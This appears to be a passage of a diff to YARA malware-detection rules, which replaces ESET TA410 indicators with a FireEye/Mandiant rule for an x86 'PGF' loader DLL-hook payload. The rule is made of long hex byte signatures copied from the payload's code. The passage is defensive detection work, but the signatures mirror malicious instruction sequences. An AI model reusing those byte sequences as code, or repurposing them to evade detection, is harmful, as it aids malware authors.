+		description = "PGF payload, generated rule based on symfunc/c02594972dbab6d489b46c5dee059e66. Identifies dllmain_hook x86 payloads."
+		author = "FireEye"
+		id = "adf91482-6e04-5d11-bc00-4b1c7a802c49"
 		date = "2020-12-09"
-		modified = "2022-04-27"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/ta410/ta410.yar#L55-L73"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "9c3afb924747614f27c31cf2c3d98f4932a9d11597a3ac94263bf93be02801da"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_3.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "4414953fa397a41156f6fa4f9462d207"
+		logic_hash = "24d2caad1d740ccbff0cf111a05ecad20ed06f311d530d8de86050d916da32ce"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$s1 = "Tendyron" wide
-		$s2 = "OnKeyToken_KEB.dll" wide
-		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
-		$s4 = "Global\\8D32CCB321B2"
-		$s5 = "\\RTFExploit\\"
+		$cond1 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF 90 EE 01 6D C7 85 30 F9 FF FF 6C FE 01 6D 8D 85 34 F9 FF FF 89 28 BA CC 19 00 6D 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BB A6 00 00 A1 48 A1 05 6D C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B8 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 56 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 DF B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 52 0B 01 00 A1 4C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 51 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 EF AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 82 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 84 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 2C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 0C 40 05 6D A1 5C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 18 40 05 6D 89 04 24 A1 60 A1 05 6D FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 54 A1 05 6D FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 9C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 00 6D 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 00 6D 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 5D BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 48 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A0 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 FD BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 75 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 76 A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
+		$cond2 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF B0 EF 3D 6A C7 85 30 F9 FF FF 8C FF 3D 6A 8D 85 34 F9 FF FF 89 28 BA F4 1A 3C 6A 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 B3 A6 00 00 A1 64 A1 41 6A C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B0 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 4E 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 D7 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 4A 0B 01 00 A1 68 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 49 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 E7 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 7A FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 7C AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 62 40 41 6A A1 78 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 6E 40 41 6A 89 04 24 A1 7C A1 41 6A FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 41 6A FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 3C 6A 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 3C 6A 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 55 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 40 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 98 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 F5 BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 6D A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 6E A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
+		$cond3 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF F0 EF D5 63 C7 85 30 F9 FF FF CC FF D5 63 8D 85 34 F9 FF FF 89 28 BA 28 1B D4 63 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BF A6 00 00 A1 64 A1 D9 63 C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 BC AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 5A 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 E3 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 56 0B 01 00 A1 68 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 55 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 F3 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 86 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 88 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 7E 40 D9 63 A1 7C A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 8A 40 D9 63 89 04 24 A1 80 A1 D9 63 FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 D9 63 FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 D4 63 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 D4 63 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 61 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 4C 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A4 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 01 BC 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 79 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 7A A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
+		$cond4 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? 90 EE 01 6D C7 85 ?? ?? ?? ?? 6C FE 01 6D 8D 85 ?? ?? ?? ?? 89 28 BA CC 19 00 6D 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 0C 40 05 6D A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 18 40 05 6D 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 00 6D 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 00 6D 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
+		$cond5 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? B0 EF 3D 6A C7 85 ?? ?? ?? ?? 8C FF 3D 6A 8D 85 ?? ?? ?? ?? 89 28 BA F4 1A 3C 6A 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 62 40 41 6A A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 6E 40 41 6A 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 3C 6A 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 3C 6A 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
+		$cond6 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? F0 EF D5 63 C7 85 ?? ?? ?? ?? CC FF D5 63 8D 85 ?? ?? ?? ?? 89 28 BA 28 1B D4 63 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 